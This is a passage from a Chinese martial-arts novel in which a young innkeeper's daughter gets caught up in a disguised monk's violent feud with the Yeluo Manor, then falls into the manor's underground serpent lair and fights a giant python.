这······这,分明就是在山上看到的“老和尚”!哦,不,老和尚只是他的障眼法罢了,现如今他已经找上门来了。他若是将自己认出,那便直接将她带走好了,要杀要刮都不干父母和哥哥的事。
林醒致本来已经冒着必死的决心,但她又转念一想,自己万万不可自乱阵脚,若脸上尽是慌张神色,老和尚一眼便能看出。但若过于镇静,却又并非一初见孩童所应该有的反应。
林醒致只好佯装被这老和尚的外貌吓到,她忙退后几步说道:“你,你是那位?怎么会进来的。”
老和尚一双眼睛死死盯着她,许久才露出笑容说道:“老衲是来自西域的和尚,正要途径这里前往漠北,顿感饥饿,刚才得见这一客栈,边想着过来讨些吃食。”
就在这时,林行远也一路从后院跑了过来,他看到老和尚正低头审视着林醒致,生怕他对妹妹出手,便顺手抄起一旁的一根柴棍向那老和尚背后砸去。
老和尚猛一转身,左手捡起地上一颗石子,用力弹出便将男孩手中的柴棍打飞在地。林行远还没反应过来,便发现右手虎口处被这老和尚的一击震得生疼。
而林醒致几乎是同一时间发出的惊呼,她自是知晓这人武功高深莫测,哥哥莽撞行事倘若惹恼了他,今天他们全家性命都不保。
“哈哈哈,小娃娃怎么跟老衲动起手来了,老衲可有何得罪过你?”苦禅一边说着,一边将视线慢慢集中于林行远的身上,眼睛瞬间眯起,仔细打量着他。
这是因为他发现了一样东西----林行远身上正穿着的那件“冰狼皮袄。
“我儿怎会得罪大师”,林风桥说着从内屋走出,他双手合十向老和尚鞠了一躬,接着说道:“只是,大师既是前来化缘,却又为何不走正门呢。我夫妇二人在此经营多年,断没有拒绝出家人的道理。”
苦禅面上含笑,双手合十说道:“老衲,自忖这飞檐走壁的功夫尚可,方才一直饥肠辘辘,心急之下竟然直接进了客栈,实在是无礼。老衲向施主赔罪。”
“大师无妨,既然已经饥饿多时,就请进屋用个便饭吧。”林风桥作势邀请他进屋稍歇。
那苦禅再次道谢,便随着林风桥走入客栈之内,在里屋大堂落座。
这时,苦禅回首看向依旧在庭院中玩耍的兄妹俩,其脸上的笑意丝毫不减,但此时的林醒致却觉得有一丝莫名的凉意从后背隐隐传来……
4. 百坛订单
苦禅落座后,侧目环视整个风云客栈,发现它其实并不算大,整体是二层小楼,房间数目也并不多。苦禅在心中暗暗记下各处位置。
“面条来了。”宋云莲端过来一碗清水面,“请师父尝尝味道如何。”
“哈哈哈,施主做的面条香气扑鼻,老衲感激不尽。”
说罢,苦禅便一边吃面,一边继续打量林行远身上的皮袄。
而林风桥夫妇也正在暗自观察他的一举一动。
宋云莲注意到苦禅后背之上的巨大驼包。
那包的形状并不规则,边界也很是突兀,想来定是存有异常。
此时忽然一阵寒风拂过,吹得老和尚的袈裟徐徐摆动,宋云莲顺着驼包向下看,只见袈裟之下竟有两条若隐若现的方形痕迹。
宋云莲心下一惊,这······这分明就是人腿!
她推测这老和尚背上背的应是一个孩童,只是这孩童被他伪装成驼包而隐匿在袈裟之下,可见这并不是什么可以为人所知的事情。
想到这里,宋云莲只道要将这老和尚尽快打发走,他在这多留一刻,她们全家人的性命便会多一分危险。
“敢问二位,令郎身上所着皮袄,是何来历啊?”
林风桥全然没有想到,老和尚竟然会直接问上那件“冰狼皮袄”的来历。他忙说道:“这是他外祖父,在外行商之时沿路买下的,”
“那他可曾到过漠北,这皮袄质量和毛色都属上乘,不知二位可听说过漠北特有的一种狼群----冰狼。”
“冰狼,这倒是有所耳闻,但家父只道这是普通狼的皮袄,却半分没提过什么冰狼。”宋云莲回复道。
苦禅的目光从他们二人的脸上扫过,摇了摇头接着说:“您二人有所不知,这冰狼生存于极寒之地的雪山缝隙之中,饮万年积雪水长大,故通体雪白毛发尤密。而漠北部落则正处于大漠和雪山之间,每到冬季他们便会猎杀狼群,剥皮做袄。而漠北王室则会专门捕猎冰狼。”
苦禅说到这里,端起一旁的茶杯轻轻抿上一口,眼睛则继续观察他夫妇二人的反应。
“这样,我若愿意出一百两买下这件皮袄,二位可同意?”
一百两?这老和尚竟然要出一百两买下这件皮袄,这皮袄究竟有何独特,竟然能值一百两银子。
宋云莲道:“感谢大师好意,只是这皮袄是家父赠予犬子的生辰礼物,我们不好将其卖掉。倘若这只是我们买来的一件皮袄,就是送给大师又何尝不可。”
苦禅听完便点点头,就在他还要张口说话时,远处古道之上传来一阵急切的马蹄声响,听上去似有十几个人。
待那群人走近,方才看到这是一条车队,为首的强壮男子飞身下马,双手抱拳向出门迎接的林风桥行礼。
“阁下可是林老板?在下奉家师之命前来想要在你们风云酒肆买下一百坛最好的酒。”那强壮汉子说道。
一百坛!这只不一会儿的功夫,先是来了一个老和尚要出一百两买下林行远身上的狼皮袄,现在又来了一支车队要买下一百坛好酒。
他们夫妇二人是怎么也想不到,在这寒冬腊月里竟然能接到如此一笔订酒的大单,心中喜悦不溢于言表。
林风桥问道:“敢问好汉是那家门下,又想要哪一种酒。”
“在下来自叶落山庄,我们叶庄主最近喜得一件宝物,半月之后他将召集天下武林豪杰前来品鉴,届时将大宴宾客,美酒自然是少不了的。”
“那便是我们酒肆上好的玉华酿了。各位舟车劳顿,还请坐下喝口茶水。”林风桥示意各位好汉入座休息,见状那壮汉身后的人们纷纷下马,进入客栈之中。
那强壮汉子一落座,便将视线落在了一旁的老和尚身上,他没有说话只是仔细端详着对方的面容。苦禅则似乎并不在意对方的眼光,只是在认真地埋头吃面。
这时,其中一位青年男子冷笑一声说道:“真是奇怪,冰天雪地的怎么会有一个和尚在这里。”
一旁的宋云莲忙解释道:“这位师父是远道而来路过此地的,在小店中略微歇脚罢了。”
“那敢问这和尚吃的是肉面还是素面啊,怕不是偷偷跑来这里寻油腥吃吧,啊哈哈哈哈。”那年轻男人越说越激动,言语中的歧视和讥讽已经毫不遮掩。
只见苦禅脸色一沉,但仍然默不作声,他狂闷几口将面汤全部灌入口中,留下一锭银子便准备离开。
当这一锭银子摆在桌上时,那几个汉子都不由得发出惊呼,想不到这老和尚穿的破破烂烂的,身上却如此有钱,当即便动了别的心思。
苦禅吃饱喝足便要起身离去,却不料刚走到门口,便被一黑色身影拦住,正是方才冷言冷语的那位年轻男人。
“相逢便是缘分,老和尚陪我们喝几杯如何啊?”说罢便伸手向苦禅背上的大包用力拍去。
他心中料想这古怪大包定是这驼背和尚的软肋,他自小便修习掌法,要论将这驼包一掌拍碎,自己的功力还是绰绰有余的。
但他没有想到的是,他的手距离苦禅身后尚有三寸之时,便顿觉手臂一阵剧痛,低头一看,只见苦禅和尚已经将他的整条胳膊死死捏住。下一秒,他便传来撕心裂肺的声音。
苦禅则使用之前林中龚百义使用过的鹰爪手,在抓住那人胳膊后,双手紧扣关节,用力逆转,向后一扯,整条胳膊便被他从那人身上卸了下来,一时间血肉四处喷溅。
那男子撕心裂肺地喊叫,左臂喷涌而出的血液顺着台阶向下流去。
其余人大惊随即抄起手中刀剑一拥而上,对着老和尚就是一顿乱砍。但他们哪里是苦禅的对手,只见苦禅赤手空拳,便将余下七人的兵刃尽数夺去,而后握在手中将所有武器一起折断。
随后他只用了独门绝技天罡断绵掌中的两势,便将剩下七人全部打成重伤。
看着众人在地上嘶叫嚎啕,苦禅的脸上露出不一样的笑容,他大声说道:“回去告诉你们师父,我打的就是叶落山庄的人,哈哈哈哈。”
说完,他仰天大笑着出门而去。
客栈内的人们只得眼睁睁看着他离开,却又无可奈何。
林醒致不记得那天到底是怎么过来的,那天本是自己的生日,可客栈里直到深夜却仍然充满哀嚎。
那位被扯下臂膀的年轻人因为失血过多,而就此匆匆离世了。
这一日的场景对于林醒致来说实在是太过血腥,可在林风桥夫妇看来,武林中打打杀杀实属常态。
这些人今天为了夺宝而互相残杀,明天却就会为自己的贪心付出代价。有道是世间金银珠宝数不胜数,但普通人的性命却只有一条,有人将生命视若珍宝,却有人又将它弃若鄙履。
因为前来的一众弟子绝大多数受伤严重,林风桥夫妇一个晚上都在忙前忙后地照顾他们。他们计划好,第二天一早就要启程回到叶落山庄向师父禀报此事,他们要让这老秃驴死无葬身之地。
林醒致一边帮父亲拉起固定酒坛的麻绳一边默默听着那一众山庄弟子的对话。
他们你一言我一语地咒骂着那老和尚,虽然都已经被那人尽数击败,可嘴上仍是不服,说什么等禀告了师父,便要带领叶落山庄一众弟子,就算找遍整个武林也要被七师弟报仇。
可这些人哪里知道,苦禅和尚不过是那人的一个假身份罢了,或者说真正的苦禅和尚已经死去了,现在人皮面具之下的男人到底是谁,无从知晓。
林风桥和宋云莲几乎是连夜将酒坛装上马车的,两个人一宿没有合眼,一边要准备订单的货物,一边还要按照郎中的指示照顾重伤在身的这几个山庄弟子。
“大哥大嫂,
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你们对我们兄弟几个的照顾,兄弟们感激不尽。待明天到了山庄,我们定向师父美言几句,往后若是有困难便来寻我们兄弟们吧。”那坐在角落里的一个瘦削汉子说道。
“对啊对啊”,一个矮子,端起桌子上的酒杯,一饮而尽说道:“好酒。实在是好酒!往后我们山庄的酒可都由你这风云酒肆提供了,到时候,嘿嘿多多分我们兄弟些油水便好啊。”
说完,他又自己满上了一杯,嘴里念叨着:”上好的玉华酿啊,喝得······喝得我这五脏六腑啊,好像都不疼了,哈哈哈哈啊哈”。说完还一口气打了个大饱嗝,引得周围人哈哈大笑。
然而他一旁的瘦削汉子却面色一沉,狠狠瞪了一眼他,“在下,郑理,我们师兄弟八人都是叶庄主座下弟子,只可惜我七弟已死,明天我们真不知如何向师父交代啊·····”
说罢,他狠狠用拳头向自己头上敲了一下。
“二哥莫慌,师父他最疼爱七弟,待师父出手,料那老和尚也跑不到哪去,就算他跑到天涯海角,我们师兄弟几个也能把他给揪出来。”
林醒致在一旁听着,心中暗暗道:“这叶落山庄倒是江湖上很是有名,但这叶庄主却极少有人提起过,不过作为武林中知名门派,想必他的武功也是可以独步江湖的。”
但她接着又摇了摇头,只不过他座下弟子的水平实在堪忧,武功不仅稀松平常,心气似乎还比天高,自己都已经伤成那副德行,却仍然无所谓的样子,着实让人发笑,其行事作风鲜像武林正派。
她看向门外的那个青年男子的尸体,此时已经被草席紧紧裹住,待会儿便会被搬到马车上一路拉回山庄。他死于非命,然而师兄弟却仍在品鉴美酒不亦乐乎,想来真是讽刺得很。
待一百坛玉华酿都被搬上了车,林风桥夫妇才得以小憩一会儿,两人就这样趴在桌子上沉沉睡去。
夜里林醒致翻来覆去,无法入眠,脑海中竟不由自主地将白天的场景一幕幕再次呈现在眼见,她的心中泛起一种极其强烈的不安感。
天下武功,五花八门,习武之人可作刀俎,而普通之人方为人鱼肉。只不过今日恰巧遇到得都是习武之人罢了。功法各有高低,学艺也有所精和有所不精。
她将眼睛闭上,在心中默念,愿林家能够永远远离这些江湖纷争。
第二天一早,车队整装待发,原定林行远随同父亲一起前往叶落山庄,可林醒致却觉得每次都是哥哥陪同父亲外出送货,自己也可以随车队而行,吵着闹着想要跟着一同前去。
“好孩子,你在家陪着你娘好不好?”林风桥摸着女儿的头笑着说道。
“不好,陪着娘亲我固然愿意,但是我也想出去见见世面,这次可是要去的是北盛响当当的门派,就让我开开眼好吗父亲,这一次就让我去吧。”
林醒致的眼神炽热而急切,看得马上的人们都哈哈大笑,纷纷说道:“林掌柜,你就让小丫头去吧,我们这么多大人跟着还照顾不了一个小孩子吗。”
就在这时,已经穿好衣服的林行远突然从里屋冲了出来,他捂着肚子,向后院跑去。
“你怎么了。”林风桥急切地问道。
“爹,我肚子疼,真的·····好疼啊······”说罢,他竟然趁着别人不注意,向林醒致使了个眼色,林醒致便马上明白了哥哥的意思,这可是在成人之美呢。
她立马说道:“爹,就让我跟着去吧,你看哥哥那副样子,哪里经得起这舟车劳顿。”说着,她猛地一拍胸脯,“瞧我这身子骨,可硬朗着呢。”这番话又引得众人哈哈大笑。
林风桥见事已至此,也不好再耽搁,便答应了林醒致的请求。
只见她虽然个子不高,却两腿一跃,翻身骑上高头大马。
一行车队就这样浩浩荡荡地出发了。
5. 叶落山庄
林醒致一人骑在黑色骏马之上,双手握住缰绳,好生神气。
那几名叶落山庄的弟子,都觉得这小女娃年纪尚小便能有如此胆量骑上高头大马,甚是有趣。
“林掌柜,你这女儿年纪不大,胆子倒是不小。不过也对,江湖儿女行走江湖,胆子若不大怕是没有几天活法。”说完,周围众人便开始哈哈大笑。
“你女儿还没有师承吧,待将来自可拜入我们叶落山庄,我派弟子众多,武功涉及百家绝学,定有能适合她的功法。”那为首的强壮汉子说道。
林风桥一听,当下只觉得十分欣喜,连忙抱拳道谢:“承蒙李兄厚爱,小女并无师承,也就是我教过她一些零散的拳脚功夫罢了。”
而夹杂在车队中间的林醒致,听到自己将来或许有幸能拜入叶落山庄门下,心中顿觉十分畅快,但又转念一想,这叶落山庄的弟子武功看起来也不甚上乘,心下又感有几分失落。
这一路上到处都是积雪,马匹行进的速度并不快,人们可能是觉得路途太过无聊,便开始你一言我一语地讲起叶落山庄的过往。
提到这个,林醒致顿时困意全无,本来因为起得早而现在一双眼皮正在打架的她,一瞬间便来了精神。
她将头侧放在马背上,悄悄听着他们的对话。
话说这叶落山庄的现任庄主名为叶千愁,他还有一位姐姐名为叶千落,是上一任庄主。
这姐弟二人武功高强,他们年幼之时曾一同拜在一位西域高人门下,有传闻这位西域高人是在漠北部落的王帐内担任军师。
只是后来其中的姐姐不幸生了一场大病,这位高人便带上叶千落前往漠北寻找办法医治,这一走就是十年。
待叶千落回来后,她不仅大病痊愈,而且更是修得了一身绝世武功。
他们的父亲死后,叶千落便继任了庄主之位,叶落山庄也在她的带领下日渐兴盛。
再后来叶千落与魔教之下的血霄楼楼主比武,两人在穹顶雪山之巅寒鸦峰上斗了三天三夜,她将血霄楼楼主杀死,但她也从此下落不明,江湖之上没有人知道她的下落,人们甚至说叶千落已经死了。
在这之后,她的弟弟叶千愁便正式接手了叶落山庄,后来他在中原衡山问剑台上大败各路英雄豪杰,代替他的姐姐成功位列中原五圣之一,叶落山庄也由此声名大振。
天南地北的习武之人都纷纷一路跋山涉水,赶往边境雪山,拜入叶落山庄门下,一时间叶落山庄几乎成为中原武林继云麓四盟之外的第五大派。
这几位弟子还提到了他们的师娘,也就是庄主叶千愁的夫人。
只是他们对这位神秘的师母也不甚熟悉,只知道那是叶千愁前往雪山寻找姐姐下落的过程中,带回来的一位流□□子,她容貌美丽,像是异族之人,也不通中原语言和文字,所以中原的武林人士很少见到她的身影。就连他们这些座下弟子,也仅仅是在拜师入门之时才匆匆见过师娘一面。
人们还在喋喋不休地说着,而林醒致不知何时已经悄然睡去,具体是在什么时候进入的梦乡,她似乎也不甚清楚。
在梦中,她手持一把大刀,一个人在漆黑的夜色中沿着山路狂奔。她似乎发了疯,手中长刀竟看到什么就一刀砍去,所过之处,遍是一片狼藉。她没有停歇,脚下一空,便直直坠入万丈深渊,下一秒她便被一阵吵闹声惊醒,原来他们一行人已到达叶落山庄。
林醒致远远望去,只见层峦叠嶂的雪山中隐约浮现一座庄园。其中只有一条蜿蜒小道,盘峰而行,一路通往雪山深处。
车队在几位弟子的带领下来到庄前,整座叶落山庄周围建起高大的青石围墙,墙面因常年受到风雪侵蚀,已显出斑驳的岁月痕迹。
叶落山庄的入口是两扇厚重铁质大门,牌匾之上刻着“叶落山庄”四个金黄色的大字。
打头的弟子将手中令牌放入门中凹槽,那玄铁大门便缓缓打开,人们纷纷跳下马车,缓步前进。
而林醒致哪里见过这样的景色,自是十分兴奋。
一眼望去,青石墙壁到处爬满盘根错节的藤蔓枝条。这种植物叫做“碎雪木”,生长于极寒地区,树叶常年呈现枯黄之色,寒风拂过,枯叶便如同落雪般飘洒而下。所以叶落山庄地面积叶累年不断,厚达数寸,行走其上沙沙之声不绝于耳。
山庄之中几个青衣弟子正自不慌不忙地清扫路径,但刚扫过一处,身后便又飘下几片。
大弟子领着一众人等向后山而去。
林醒致远远望向树林深处,见一座黑色石塔伫立于林间,塔身爬满枯藤,看上去虽然已经长年累月经受风雪的摧残,但却并非无人问津。整体透漏着一种难以名状的威严和肃穆。
她开口问道:“敢问叔叔那里是什么地方?”
李陵随着她手指的方向看去,说道:“那里名为石荒塔,乃是山庄历代掌门与长老埋骨之所。
往前再行百步便到达地窖所在之地,众人开始将一坛坛美酒抬入其中。
而林醒致的小身板如何能抬动如此大的一坛酒,她刚用力将酒坛抬起一半,便被其他人赶忙接过。
“小丫头,你就不要费力气了,这里没有什么你能帮上忙的,就在这周围的小院子里走一走吧,记得可别走远。”
林醒致不好意思地摸了摸头,便哼着小曲到一边玩去了。
夕阳西下,忙碌的弟子在酒窖中进进出出。在一片太阳西落的余晖之中,穹顶雪山呈现出醉人的红色。金黄的落叶在林间飞舞,此时一阵萧瑟寒风掠过山谷,竟卷起层层落叶和飞雪,向林中深处吹去。
林醒致则沿着园中小河缓步前行,她不禁惊叹,这园中景色虽然尽是萧瑟沧桑之感,却也与外面的寒冬之景有着天壤之别。
就在这时,不远处的草丛中发出丝丝异动,林醒致悄悄走近,突然,草丛中窜出一只兔子,只是这兔子右后腿已然流血,似乎受了很重的伤。
林醒致忙疾步追了上去,可这兔子速度极快,没跑几步便不见了踪影。
转眼的功夫,她便来到了位于山庄深处的庭院入口。
只见远处庭院正中站着一个小男孩,他头戴青玉发冠,身着白锻金丝长袍,手中一把银色长剑闪闪发亮。
林醒致有些好奇,便又向前走了几步,在离那庭院中还有几十米的地方停下,躲在一座假山之后。
那男孩约莫十一二岁年纪,唇红齿白,眉清目秀,一双桃花眼炯炯有神,右眼角下恰有一颗泪痣更添三分俊秀。
他步伐轻盈,进退如风,身形起落间,发冠上两条白玉珠链随风舞动,宛若游龙,在阳光下折射出细碎光芒。其剑锋所过之处,树叶纷纷沙沙作响。
但见他手中一把银剑上下翻飞,他虽年纪尚幼,一招一式却已透出三分老道狠辣,让人不禁看得出神。
“好漂亮的哥哥,好厉害的剑法。”林醒致心头暗暗感叹,她看着男孩跟自己相仿年纪,武功却已达到如此地步,不禁暗自惭愧。心道自己当初若是跟那位红衣女侠离开,如今是否也能达到此番境界。
此事在她的记忆中不甚清晰,因为它发生在林醒致四岁之时,那时她年纪尚幼,只隐约记得这段往事。
那年初秋,一位气质非凡的红衣女侠在风云客栈住店。那时盗匪横行,她正巧帮助林风桥夫妇将一伙强盗击退。只是林醒致却被
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那强盗头子掳走,待被红衣女侠救回来后,她却已经身中毒砂掌,性命危在旦夕。
红衣女侠为了医救林醒致,不仅以自身功法运气为她疗伤还传给林风桥一句内功心法,要他连续一个月用此口诀将毒逼出。而后待到林醒致五岁生日之后,便将此口诀传授予她,要她勤加修炼,身体方能无碍。
那红衣女侠与林醒致很是投缘,约定好来年初秋她会再回到风云客栈来探望她,只是此次一别后,便再未见过她。
就在林醒致沉浸在无尽的思索之时,一声低沉的怒吼声将她彻底地拉回了现实。
“你在做什么?”
话音刚落,一枚银色飞镖便径直向男孩飞去,直取他面门,那男孩忙向右侧转身,脚尖点地悬空后撤,同时左手向外伸出,迅速抓向那枚飞射而来的银色飞镖。
他动作虽快得几乎带出残影,可还是晚了一瞬,那飞镖正好穿过他并拢的食指与中指缝隙,“夺”地一声闷响,已深深钉入身后的青砖墙壁之中,而空中只留下飞镖尾端兀自嗡嗡震颤的声音。所发之人其力道之猛,令人心惊。
男孩紧紧握住左手,两根手指之间被这飞镖所带出的力道刮得生疼。
“连一镖都接不住,简直是个废物。”一个低沉男声说道。
林醒致心中一惊,这人好生奇怪,眼前的漂亮哥哥剑法身形已如此精湛,他怎的对小辈如此苛刻。
只见远处碧水亭中走出一深红色长衣男子,手持一条红色长鞭。
他刚一走近,便大手一挥向那男孩头上就是一鞭。
“唰”的一声,长边贴着男孩的耳边掠过,长鞭打在地上如同一声惊雷,破空之声接连不断。
男孩在持续不断的长鞭攻势中跳跃闪避,却还是被这男子一鞭打碎头上发冠,顷刻间白玉珠子散落一地。
林醒致远远看到,那长鞭腾空飞舞,宛若一条红色长龙。长鞭所落之处泛黄落叶皆被一扫而起,速度之快似乎已隔绝出一个巨大空间,远远望去更是一片血光。
血光之间,那白衣男孩若隐若现,他虽在奋力抵抗却显然无法招架,很快他的步调就开始变得混乱,只听“当啷”一声,银剑脱手落地。
而他身上的那件白衣很快也出现一道道血痕,血液透过衣襟将白色长袍染出一片血红。
待红鞭一停,树叶纷纷落下,那男孩跪在庭院中央,长发凌乱地遮盖在他的脸上。
“我怎么会有你这么个废物,若蛮儿还在,哪里轮得到你……”
只见那人从衣袖中取出一黑色瓷瓶,扔在地上道:“养好伤,接着练。”说罢,便转身扬长而去。
那男孩,捡起地上的药瓶,沉思片刻,突然用力向远处掷出,那瓷瓶在空中划过一条弧线,不偏不倚地正好落在林醒致的脚旁,可她及时闪避不得,竟一屁股坐在地上。
这突如其来的东西着实吓了林醒致一跳,她本来躲在假山后面想着这父子二人谁都没有发现她,自己也能偷偷溜走,可这下好了反倒弄一不小心出了动静,心道自己肯定是要被发现了。
慌乱之下,她听到远处那人正向自己这边袭来,便急忙再寻地方躲藏。
这时她看到,假山之后有一棵粗壮大树,看上去已生长百年有余,树叶极为茂密,而那树中央正巧有一树洞,中等大小不算起眼,而自己身形不大,马上过去躲在里面定不会被发现。
想到这,林醒致三步并作两步奔向那棵大树,一个翻身跨进树洞,等待无人之后,再行离开。
不料,她一只脚方才跨入树洞,却发现这树洞之下竟是空的。不等另一只脚进来,她已经半个身子掉入洞中,随即向下迅速坠去。
6. 地宫蛇窟
恍惚中,林醒致只觉得自己跌跌撞撞进入一个狭窄的洞道之中,不知过了多久,她才重重摔到地上。
这一摔,把她给彻底摔醒了,她旋即睁开眼,眼前却是伸手不见五指的一片漆黑。
林醒致从地上爬起,只觉后背和四肢一阵剧痛,这一下她着实摔得不轻。
很显然她从那树洞中一路沿着密道跌落,如今是到了一个地宫之中,要按照原路返回想来是不可能了。
“有没有……”,这“人”字尚未吐出,林醒致便赶忙噤声,心道若这地宫中有坏人藏匿,自己贸然出声怕是会被灭口,想到这里当下顿觉焦急万分。
无奈之下她开始伸出双臂摸索着向前一点一点的挪动。
没走几步,右脚似是踩到一块坚硬的东西,她弯腰捡起掂在手中。
这东西拿在手里沉甸甸的,触感冰凉,形状也并不规则,但好在足够坚硬能当做一个防身的东西,于是将它紧紧握在手中,随时准备向前抛出。
缓慢再前进几步,她竟又捡到一根有点弯曲的树枝,这树枝重量不轻,长短合适,摸上去很是光滑,她的大拇指刚好可以按在中间的凹槽呢。
“这是什么东西?不管了,先拿上再说。”
林醒致没再多想,右手握住树枝,将先前捡到的石头揣入怀中,继续一步一步地摸索着墙壁,向前走去。
此地宫的墙壁此刻冰凉刺骨,每每触碰到上面寒气便从指尖直达琵琶骨,让人不禁打着寒战。
林醒致一路上树枝、石头倒是都踩到不少,她却没有再停下,只闷着头继续向前走。
因为她害怕极了,此刻心里只一遍一遍地懊悔。自己同情心泛滥,竟偏要去追那受伤的兔子,兔子没追到,却又要躲在那假山后偷看人练剑。没来由的好奇心作祟,如今反倒把自己置于如此境地。
“爹现在只当我还在后山玩耍,若天黑之前不能跟着马车回去,他们定是会急死的。”
林醒致想到这里,情绪便再也不受控制,泪水夺眶而出,一滴一滴地落在地上。
“我真是蠢透了,苍天保佑我赶紧走出去,好爹爹求你一定要等我出去。”
就在她止不住地啜泣之时,忽然听到一阵沙沙之声从远处传来,她赶忙停下脚步侧耳倾听,却又丝毫听不到任何声响。
可当她再继续前行一段距离,沙沙之声又再次传入耳中,而,且这声音距离似乎越来越近了。
如此反复多次,林醒致的神经极度绷紧,呼吸开始变得急促起来,“扑腾扑腾”的心跳声也被衬托的很是刺耳。
此时她已不知道走出多远,如今正处严冬,而这地宫又更为阴冷,她只觉小腿开始瑟瑟发抖,两腿酸麻,难以继续直立。
“歇一下吧。”她强装镇定,在心中安慰自己。
林醒致贴着石壁缓缓弯下腰,却一不小心脚下一滑,跌坐在地上,左手的三根手指直接陷进了某个空洞之中。
那物体圆咕隆咚,中间两个大孔洞,往下一摸竟……竟然是一排牙齿。
人头,这……这是一颗人的……头骨!
惊慌中林醒致将手抽出,这头骨被轻微带起,“砰”地一声撞在墙上。
她此时已经被吓得魂不守舍,心道:“这一路上自己碰到踩到的,莫不都是人骨?”想到这里,她忙摸向右手中的木棒,而这“木棒”尽端竟有一圆形结构。
“是了,去年看过郭二叔杀猪,那大转子和这个一模一样!”想到这,手中的腿骨便被她即刻扔了出去。
她不禁感叹,自己总是遇到这样的倒霉事情,果然是好奇害死猫,若此番能顺利出去,她便一辈子都要小心谨慎,少听少看就是了。
林醒致摸索着墙壁,战战兢兢地向前行走,很快她发现自己的周围开始出现越来越多的骨头,几乎每行进几步,便能踢到一两根骸骨。
随着越往里深入,整条隧道开始传来愈发浓重的恶臭气息,那是一种腐肉中掺杂着血液的味道。
突然她脚下一滑,似是踩到了什么软腻的东西,顷刻间,脚下便被这东西团团围住,它们传来“嘶嘶”声响,林醒致方才明白,这便是一群小蛇向她围攻过来。
她抄起一旁的骨头,便向脚下胡乱捶打过去。
小蛇有的被她砸得血肉模糊,有的也四散逃窜,好在蛇群的进攻被她暂时击退,但前方却又不知道有什么在等着她。
在漆黑一片的隧道中,隐隐约约地传来滴滴答答的声响,她疾步向前,却猛然撞上一个巨大的陶罐,于是赶忙向四周摸去,
只见共有八个巨大酒坛,而这八个大酒坛正好排成一列,将前路堵的严严实实。
此时的她若想过去,便只得爬过其中一个酒坛。
林醒致小心翼翼跃上酒坛顶部,就在即将转身跳下之时,那酒坛顶部的封盖却不小心被她推开,一股浓烈的腥臭味道扑鼻而来,而这股腥臭背后却还夹杂着一丝铁锈之味。
血,是血液,这八个大摊子中装的竟然是一坛坛血液,只是这血她不知道是动物的还是人的。
林醒致被自己的发现吓了一跳,她手下一滑,半个身子直直坠向坛中,她不禁放声大叫,不过所幸在距离液面两寸的地方,她停住了。
此时,她觉得自己似乎是被什么东西一下子拽住了衣服,就当她以为是有来人救她之时,下一秒她便被向上高高吊起。
林醒致艰难地转过脖子向后看去,只见一条通体漆黑腹部雪白的巨型蟒蛇正咬着她的外衣,将她整个人吊在半空之中。
还没等她回过神来,那大蛇便将她用力一甩,林醒致先是重重摔在墙上而后又掉落在地,刺骨的疼痛顺着她的各路经脉汹涌传来。
林醒致用力晃动脑子,希望让自己保持清醒,她已知晓这地宫之中的巨型大蛇,便是那庄主私自豢养的怪物。
此蛇能生长的如此巨大,想必平时定然多食人肉,而喂养它的又多是习武之人,体内少说也会有十年功力。一旦让这大蛇食去,其内力必将大增,能生成如此骇人听闻的庞然大物,也便不足为奇。
只见那大蛇的一双眸子,在黑暗之中发出翠绿色的光芒,它像盯紧猎物一般地死死盯住林醒致的一举一动。它缓缓抬起整个头颅,将头顶抵在天花板之上,猛地向下俯冲。
林醒致虽然没有什么厉害的家传武功,但她年纪尚小,身手也较为敏捷灵活。
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那大蛇的几次迅猛攻击,都被她一一躲过。
但因为剧烈的碰撞,林醒致的胳膊和面颊上都渗出了丝丝血迹,不料那大蛇的嗅觉极其灵敏,当闻到新鲜血液的气息时,它的口中发出更加剧烈的声响,“咕噜咕噜”,随后一张血盆大口便直冲林醒致面门而来。
林醒致见状,迅速爬上一旁由数十个人头垒成的白骨塔,那大蛇一头撞击在青石墙壁之上,整个地宫都地动山摇,石块与灰尘都纷纷落下。
大蛇扑了个空,自是愤怒至极,只见它拼命晃动着身躯,一个摆尾便将那白骨塔全部击碎,林醒致再次重摔在地上。
那大蛇的一双眸子,倒是变相为林醒致提供了行动轨迹,在黑暗之中它如幽灵一般变幻莫测,令人猝不及防。
而当一阵冷风擦过她的脸颊,还未等林醒致变换方向,那大蛇就已经将她层层围住。
只是这一次她没有那么好运,只一瞬间的功夫,白色大蛇便从头到脚将她紧紧环绕了五层之多,并且越勒越紧,此刻她觉得胸口憋闷,自己再难喘过气来。
而与此同时,林醒致甚至能听到自己骨骼碰撞发出的声响。
眼看着爹娘教的那些皮毛功夫就已无用,她喉咙之处的蛇皮鳞片则缓缓划过,冰凉刺骨。此时她的精神已近恍惚,嘴中呜咽声不断,却终究不能吐出一字。这时的林醒致别无她法,只得殊死一搏。
“不能死,保持清醒,你若就这样死了,与父母,哥哥······就此阴阳相隔了吗?”
对,自己还不能死,既不能作这大蛇的盘中餐也能不能死的不明不白!
林醒致猛地睁开眼睛,她强撑着最后一丝意识,竟发现自己手中不知何时还握着一只腿骨棒。
在这紧急关头,她脑海中会想起几年前相结识的红衣女侠所留给她的那一句口诀。便即刻将体内仅有的真气运至丹田之处,瞬间一股暖流自丹田汇聚于右手掌中,她拼尽全力将骨头击向石板墙上
只见那骨头顿时碎裂,林醒致借势抓住手中残余骨刺,狠狠扎向蟒蛇肉身。
“去死,你这个畜生,去死!!”
林醒致一边嘶吼着,一边猛扎下去,那巨蛇发出如雷轰鸣,其血液一时间喷涌而出。
一下,两下······三下,林醒致不知自己向那大蛇的身上刺了多少下,直到自己能够得以喘息,直到那大蛇缓缓放开了自己,直到面前的蛇身已经变得血肉模糊。
林醒致像一滩泥一样,瘫坐在地上,血液将她的头发全部浸湿,汗水和血液混合在一起如雨落下。
她睁大着眼睛,血水落入她的眼中,剧烈的刺痛将她再次拉回现实,此刻她已经没有半分力气。
那条巨蛇的身体还压在她的腿上,她双手用力将它抬起。
就在林醒致即将彻底把双腿从大蛇身下取出之时,一股熟悉的冷风再次从她的背后袭来。
只见那大蛇并未气绝,此时的它正张开大口,打算将林醒致全部吞入。
一种深深的绝望将林醒致瞬间笼罩,她该如何逃,又向哪里逃呢?
就在她无法脱身之时,一道银色闪电从黑暗中刺出,出手迅速,向那蛇头直冲过来。
7. 出手相救
那是一柄银色长剑,只见剑光闪过,大蛇迅速后撤躲闪,口中吐出浑浊之气,似是对来者有着三分惧意。
原来这及时赶到的手持长剑之人,便是林醒致方才在庭院之中所见的白衣少年---叶落山庄少庄主叶明玄。
当他将手中药瓶掷出,发现假山之后恍惚有一道人影,但待他小心查看假山周围却并未发现异常。
